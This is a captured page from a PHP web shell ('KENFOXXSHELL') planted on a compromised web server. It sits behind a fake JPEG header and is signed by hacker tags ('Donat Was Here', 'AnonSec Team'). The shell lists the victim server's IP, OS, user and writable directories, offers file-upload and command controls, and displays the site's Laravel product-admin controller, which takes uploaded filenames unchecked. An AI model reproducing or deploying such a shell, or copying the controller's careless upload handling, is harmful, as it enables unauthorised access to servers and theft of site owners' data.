ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/ProductController.php
<?php 
namespace App\Http\Controllers\Admin;
//use App\Http\Requests;
use App\Http\Requests\ProductRequest;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Products;
use App\Images;
use App\ProductCate;
use Input, File;
use Validator;
use Auth;
use App\Materials;
use DB;
use App\Sizes;
use App\Prices;
use App\Typematerials;
use App\Bigs;
class ProductController extends Controller
{
    public function getList()
    {
        if(@$_GET['type'] == 'combo'){
      
        $data = Products::select()->where('type','combo')->orderBy('stt','asc')->get();
        }elseif(@$_GET['type'] == 'sanpham'){
         $data = Products::select()->where('type','sanpham')->orderBy('stt','asc')->orderBy('noibat', 'desc')->get();
         
        }else{
         $data = Products::select()->where('type',null)->orderBy('stt','asc')->get();
        }
        return view('admin.product.list', compact('data'));
    }
    public function getAdd()
    {
        $data = Products::all();
        $parent = ProductCate::all();
        return view('admin.product.add', compact('data','parent'));
    }
    public function postAdd(ProductRequest $request)
    {

        
        // $colorID = $request->color_id;
        // echo 'Mã Màu: ';
        // foreach ($colorID as $item) {
        //     echo $item.'<br>';
        // }
        // $sizes_id = $request->sizes_id;
        // echo 'Size: ';
        // foreach ($sizes_id as $item) {
        //     echo $item.'<br>';
        // }
        // $materials_id = $request->materials_id;
        // echo 'Materials_id: ';
        // foreach ($materials_id as $item) {
        //     echo $item.'<br>';
        // }
        $img = $request->file('fImages');
        $path_img='upload/product';
        $img_name='';
        if(!empty($img)){
            $img_name=time().'_'.$img->getClientOriginalName();
            $img->move($path_img,$img_name);
        }
        /*************/
        $product = new Products;
        $product->name = $request->txtName;
        $product->name_eg = $request->txtName_eg;
        
        if($request->txtProductCate>0){
            $product->cate_id = $request->txtProductCate;
        }else{
            $product->cate_id = 0;
        }
        if($request->txtAlias){
            $product->alias = $request->txtAlias;
        }else{
            $product->alias = changeTitle($request->txtName);
        }

        $product->mota2 = $request->mota2;
        $product->mota2_eg = $request->mota2_eg;
        $product->mota3 = $request->mota3;
        $product->mota3_eg = $request->mota3_eg;
        $product->mota4 = $request->mota4;
        $product->mota4_eg = $request->mota4_eg;
        $product->type = $request->txtType;
        if(@!empty($_REQUEST['combo_id'])){
        $product->combo_id = $request->combo_id;
        }
        if(@!empty($_REQUEST['color_id'])){
        $product->color_id = implode(",", $request->color_id);
        }
        $product->photo = $img_name;
        if(@!empty($_REQUEST['txtSao'])){
        $product->sao = $request->txtSao;
        }
        if(@!empty($_REQUEST['material_id'])){
            $product->material_id = $request->material_id;
        }
        if(@!empty($_REQUEST['cate_embroi'])){
            $product->cate_embroi = $request->cate_embroi;
        }
        if(@!empty($_REQUEST['goi'])){
            $product->goi = $request->goi;
        }
        if(@!empty($_REQUEST['size_id'])){
            $product->size_id = implode(",", $request->size_id);
        }
        $product->mota = $request->txtMota;
        $product->mota_eg = $request->txtMota_eg;
        $product->content = $request->txtContent;
        $product->content_eg = $request->txtContent_eg;
        $product->title = $request->txtTitle;
        $product->keyword = $request->txtKeyword;
        $product->description = $request->txtDescription;
        if(@!empty($request->sale)){
        $product->sale = $request->sale;
        }
        $product->title_eg = $request->txtTitle_eg;
        $product->keyword_eg = $request->txtKeyword_eg;
        $product->description_eg = $request->txtDescription_eg;
        $product->stt = intval($request->stt);
        if($request->status=='on'){
            $product->status = 1;
        }else{
            $product->status = 0;
        }
        if($request->noibat=='on'){
            $product->noibat = 1;
        }else{
            $product->noibat = 0;
        }
        if($request->spbc=='on'){
            $product->spbc = 1;
        }else{
            $product->spbc = 0;
        }
        if($request->tinhtrang=='on'){
            $product->tinhtrang = 1;
        }else{
            $product->tinhtrang = 0;
        }
        $product->user_id= Auth::user()->id;



        $product->save();

        
        $idProduct = $product->id;
        $sizes_id = $request->sizes_id;
        if (!empty($sizes_id)) {
            foreach ($sizes_id as $item) {
                $size = Sizes::find($item);
                $pro_id_size = $size->pro_id.','.$idProduct;
                $size->pro_id = $pro_id_size;
                $size->save();
            }
        }
        $materials_id = $request->materials_id;
         if (!empty($materials_id)) {
            foreach ($materials_id as $item) {
                $material = materials::find($item);
                $pro_id_material = $material->pro_id.','.$idProduct;
                $material->pro_id = $pro_id_material;
                $material->save();
            }
        }


        /*



        $product_id = $product->id;



        



        if ($request->hasFile('detailImg')) {



            foreach ($request->file('detailImg') as $file) {



                $product_img = new Images();



                if (isset($file)) {



                    $product_img->photo = time().'_'.$file->getClientOriginalName();



                    $product_img->product_id = $product_id;



                    $file->move('upload/hasp/',time().'_'.$file->getClientOriginalName());



                    $product_img->save();



                }



            }



        }



        */



        if($_REQUEST['txtType'] == 'combo'){
            return redirect('admin/product?type=combo')->with('status','Thêm mới thành công !');

        }elseif($_REQUEST['txtType'] == 'sanpham'){
            return redirect('admin/product?type=sanpham')->with('status','Thêm mới thành công !');
        }else{
            return redirect()->route('admin.product.index')->with('status','Thêm mới thành công !');
        }
    }



    /**



     * Show the form for editing the specified resource.



     *



     * @param  int  $id



     * @return Response



     */



    public function getEdit(Request $request)
    {
        $id= $request->get('id');
        $data = Products::find($id);
        if(!empty($data)){
            if($request->get('hienthi')>0){
                if($data->status == 1){
                    $data->status = 0; 
                }else{
                    $data->status = 1; 
                }
                $data->update();
                return redirect()->route('admin.product.index')->with('status','Cập nhật thành công !');
            }
            if($request->get('noibat')>0){
                if($data->noibat == 1){
                    $data->noibat = 0; 
                }else{
                    $data->noibat = 1; 
                }
                $data->update();
                return redirect()->route('admin.product.index')->with('status','Cập nhật thành công !');
            }
            if($request->get('hethang')>0){
                if($data->hethang == 1){
                    $data->hethang = 0; 
                }else{
                    $data->hethang = 1; 
                }
                $data->update();
                return redirect()->back()->with([
                 'toastr_lvl' => 'success',
                 'toastr_msg' => 'Xử lý sản phẩm đã hết hàng thành công!'
                ]);
            }    
                    
            $parent = ProductCate::orderBy('stt', 'asc')->get()->toArray();
            $product = Products::select('stt')->orderBy('id','asc')->get()->toArray();
            $product_img = Products::find($id)->pimg;
            // Gá»i view edit.blade.php hiển thị bải viết
            return view('admin.product.edit',compact('data','product','id','parent','product_img'));
        }else{
            $data = Products::all();
            $parent = ProductCate::orderBy('stt', 'asc')->get()->toArray();
            return redirect()->route('admin.product.index')->with('status','Dữ liệu không có thực');
        }
    }
    public function update(Request $request)

    {
        $this->validate($request,
            ["txtName" => "required"],
            ["txtName.required" => "Bạn chưa nhập tên danh mục"]
        );
        $id= $request->get('id');
        if($id){
            $product = Products::findOrFail($id);
            $img = $request->file('fImages');
            $img_current = 'upload/product/'.$request->img_current;
            if(!empty($img)){
                $path_img='upload/product';
                $img_name=time().'_'.$img->getClientOriginalName();
                $img->move($path_img,$img_name);
                $product->photo = $img_name;
            }
            
            $product->name = $request->txtName;
            $product->name_eg = $request->txtName_eg;
            if($request->txtProductCate>0){
                $product->cate_id = $request->txtProductCate;
            }else{
                $product->cate_id = 0;
            }
            if($request->txtAlias){
                $product->alias = $request->txtAlias;
            }else{
                $product->alias = changeTitle($request->txtName);
            }
            if($request->txtPrice!=''){
                $product->price_pro = str_replace(",", "", $request->txtPrice);
            }else{
                $product->price_pro =0;
            }
            if($request->txtPriceOld!=''){
                $product->price_old = str_replace(",", "", $request->txtPriceOld);
            }else{
                $product->price_old =0;
            }
            if(@!empty($_REQUEST['combo_id'])){
            $product->combo_id = $request->combo_id;
            }
            if(@!empty($_REQUEST['color_id'])){
            $product->color_id = implode(",", $request->color_id);
            }
            if(@!empty($_REQUEST['txtSao'])){
            $product->sao = $request->txtSao;
            }
            if(@!empty($_REQUEST['material_id'])){
            $product->material_id = implode(",", $request->material_id);
            }
            if(@!empty($_REQUEST['cate_embroi'])){
            $product->cate_embroi = $request->cate_embroi;
            }
            if(@!empty($_REQUEST['goi'])){
                $product->goi = $request->goi;
            }
            if(@!empty($_REQUEST['size_id'])){
                $product->size_id = implode(",", $request->size_id);
            }
            $product->mota2 = $request->mota2;
            $product->mota2_eg = $request->mota2_eg;
            $product->mota3 = $request->mota3;
            $product->mota3_eg = $request->mota3_eg;
            $product->mota4 = $request->mota4;
            $product->mota4_eg = $request->mota4_eg;
            if(@!empty($request->sale)){
                $product->sale = $request->sale;
            }
            $product->type = $request->txtType;
            $product->mota = $request->txtMota;
            $product->mota_eg = $request->txtMota_eg;
            $product->content = $request->txtContent;
            $product->content_eg = $request->txtContent_eg;
            $product->title = $request->txtTitle;
            $product->keyword = $request->txtKeyword;
            $product->description = $request->txtDescription;
            $product->title_eg = $request->txtTitle_eg;
            $product->keyword_eg = $request->txtKeyword_eg;
            $product->description_eg = $request->txtDescription_eg;
            if($request->status=='on'){
                $product->status = 1;
            }else{
                $product->status = 0;
            }
            if($request->noibat=='on'){
                $product->noibat = 1;
            }else{
                $product->noibat = 0;
            }
            if($request->tinhtrang=='on'){
                $product->tinhtrang = 1;
            }else{
                $product->tinhtrang = 0;
            }
            $product->user_id       = Auth::user()->id;
            /** save chất liệu kich thuoc giá sản phẩm gói **/
       
            /** End add size in update **/
            
            if(!empty($request->tygia)){
                
                $arr = $request->tygia;
                $arr2 = $request->id_update;
                //dd($arr);
                foreach ($arr as $k=>$rows)
                {
                    
                          $update=DB::table('materials')->select('id','name')
                          ->where('id',$arr2[$k])
                          ->update(['price' => $rows]);
                }  
                           
            }
            if(!empty($request->tygia)){
                $arr = $request->tygia;
                $arr2 = $request->id_chatlieu;
                $arr3 = $request->id_type;
                $arr4 = $request->id_size_txt_update;
                foreach ($arr as $k=>$rows)
                {
                     @$type_mate=DB::table('typematerials')->select('id')->where('pro_id',$id)->where('chatlieu_id',$arr2[$k])->where('id',$arr3[$k])->first();
                     if(!empty($type_mate)){
                        $update=DB::table('typematerials')->select('id')
                        ->where('pro_id',$id)
                        ->where('chatlieu_id',$arr2[$k])
                        ->where('id',$arr3[$k])
                        ->update(['price' => $rows]);
                     }else{
                       $value = new Typematerials();
                       $value->price=$rows;
                       $value->pro_id=$id;
                       if(!empty($arr2[$k])){
                        $value->chatlieu_id=$arr2[$k];
                       }
                       if(!empty($arr4[$k])){
                        $value->size_id=$arr4[$k];
                       } 
                       $value->save(); 
                     }  
                       
                     
                }  
                           
            }
            if(!empty($request->price_txt_update)){
                $arr = $request->price_txt_update;
                
                $arr2 = $request->id_size_txt_update;
                $arr3 = $request->id_price;
                $arr4 = $request->id_chatlieu;
                
                $price_tp=DB::table('prices')->select('id')->where('pro_id',$product->id)->get();                                                
                foreach ($price_tp as $k=>$rows)                {
                       
                       $xoa = Prices::findOrFail($rows->id);
                       $xoa->delete();  
                }
                foreach ($arr as $k=>$rows)
                {
                    $type_mate=DB::table('prices')->select('id')->where('pro_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])->first();
                     if(!empty($type_mate)){
                        if($k == 0){
                            $update=DB::table('prices')->select('id')
                            ->where('pro_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])
                            ->update(['price' => $rows,'name' => $rows]);
                        }else{
                            $update=DB::table('prices')->select('id')
                            ->where('pro_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])
                            ->update(['name' => $rows]);
                        }
                     }else{
                       $value = new Prices();
                       $value->name=$rows;
                       if($k == 0){
                        $value->price=$rows; 
                       }
                       $value->pro_id=$id;
                       if(!empty($arr2[$k])){
                            $value->size_id=$arr2[$k];
                       }
                       if(!empty($arr4[$k])){
                            $value->chatlieu_id=$arr4[$k];
                       }
                       $value->save();
                     }
                }
            }
                     
            /** end **/
            /** gói sản phẩm **/
           
             $type_check=DB::table('bigs')->select('id')->where('big_pro',$id)->get();
                foreach($type_check as $c=>$check){
                    $update_check=DB::table('bigs')->select('id')
                    ->where('big_pro',$id)
                    ->update(['status' => 0]);
                }

            if(!empty($request->parent_id_pro)){
                $arr_big = $request->parent_id_pro;
                $arr_big2 = $request->qty;
                $arr_big3 = $request->idbig;
               
                foreach($arr_big as $k=>$rows)
                {
                     $type_mate=DB::table('bigs')->select('id')->where('pro_id',$rows)->where('big_pro',$id)->where('id',$arr_big3[$k])->first();
                     if(!empty($type_mate)){
                        $update=DB::table('bigs')->select('id')
                        ->where('pro_id',$rows)->where('big_pro',$id)->where('id',$arr_big3[$k])
                        ->update(['quantity' => $arr_big2[$k],'status' => 1]);
                     }else{
                       $value = new Bigs();
                       $value->pro_id=$rows;
                       $value->big_pro=$id;
                       $value->quantity=$arr_big2[$k];
                       
                       $value->save(); 
                     }  
                 
                }  
                           
            }
            /** end gói sản phẩm **/
            
             $product->save();
            
            
            if($_REQUEST['txtType'] == 'combo'){
                return redirect('admin/product/edit?id='.$id.'&type=combo')->with('status','Cập nhật thành công !');
            }elseif($_REQUEST['txtType'] == 'sanpham'){
                return redirect('admin/product/edit?id='.$id.'&type=sanpham')->with('status','Cập nhật thành công !');
            }else{
                return redirect('admin/product/edit?id='.$id)->with('status','Cập nhật thành công !');
            }
        }else{
            return redirect('admin/product/')->with('status','Dữ liệu không có thực');
        }

    }











    /**



     * Remove the specified resource from storage.



     *



     * @param  int  $id



     * @return Response



     */
    
  
    public function deleteajax(){
    
        $nhan = Materials::findOrFail($_GET['area_id']);
        $nhan->delete();
            
          $delete=DB::table('sizes')->select('id')
          ->where('chatlieu_id',$_GET['area_id'])
          ->delete();
        
        return redirect()->back();
    }
    
    public function deleteajaxsize(){
        $nhan = Sizes::findOrFail($_GET['area_id']);
        $nhan->delete();
        return redirect()->back();
    }
    
    public function getDelete($id)
    {

        $product = Products::findOrFail($id);



        $product->delete();



        File::delete('upload/product/'.$product->photo);



        if(@$_GET['type'] == 'combo'){



            return redirect('admin/product?type=combo')->with('status','Xóa thành công !');



        }elseif(@$_GET['type'] == 'sanpham'){



            return redirect('admin/product?type=sanpham')->with('status','Xóa thành công !');



        }else{



            return redirect()->route('admin.product.index')->with('status','Xóa thành công !');



        }

    }



    public function getDeleteList($id){
        $listid = explode(",",$id);
        foreach($listid as $listid_item){
            $product_img = Products::find($listid_item)->pimg->toArray();
            $product = Products::findOrFail($listid_item);
            $product->delete();
            File::delete('upload/product/'.$product->photo);
        }



        return redirect()->route('admin.product.index');



    }
     function changepos() {  
     
       
      if(!empty($_REQUEST['order'])){  
        $vitri = $_REQUEST['order'];
        $ids =  $_REQUEST['idsy'];
        foreach ($vitri as $k=>$v) {           
           $product =Products::findOrFail($ids[$k])->update(['stt' => $v]);
         }        
            return redirect()->back()->with([
             'toastr_lvl' => 'success',
             'toastr_msg' => 'Cập nhật vị trí thành công!'
            ]);
      }else{
          return redirect()->back()->with([
             'toastr_lvl' => 'info',
             'toastr_msg' => 'Hệ thống Ä‘ang xá»­ lý vui lòng chá»!'
            ]);  
      }      
    }
    

    public function updateNoiBat($id)
    {
        $product = Products::find($id);
        if ( $product->spbc == 1 ) {
            $product->spbc = 0;
            $product->save();
        }else {
            $product->spbc = 1;
            $product->save();
        }
        return back();
    }


    public function getDelImg(Request $request,$id){         // use Request;



        if ($request->ajax()) {      
            $idImg = (int)$request->get('idImg');
            $image_detail = Images::find($idImg);
            if (!empty($image_detail)) {



                $img = 'upload/hasp/'.$image_detail->photo;



                if (File::exists($img)) {



                    File::delete($img);



                }



                $image_detail->delete();



            }



            return 'OK';



        }



    }



 



}




Anon7 - 2022
AnonSec Team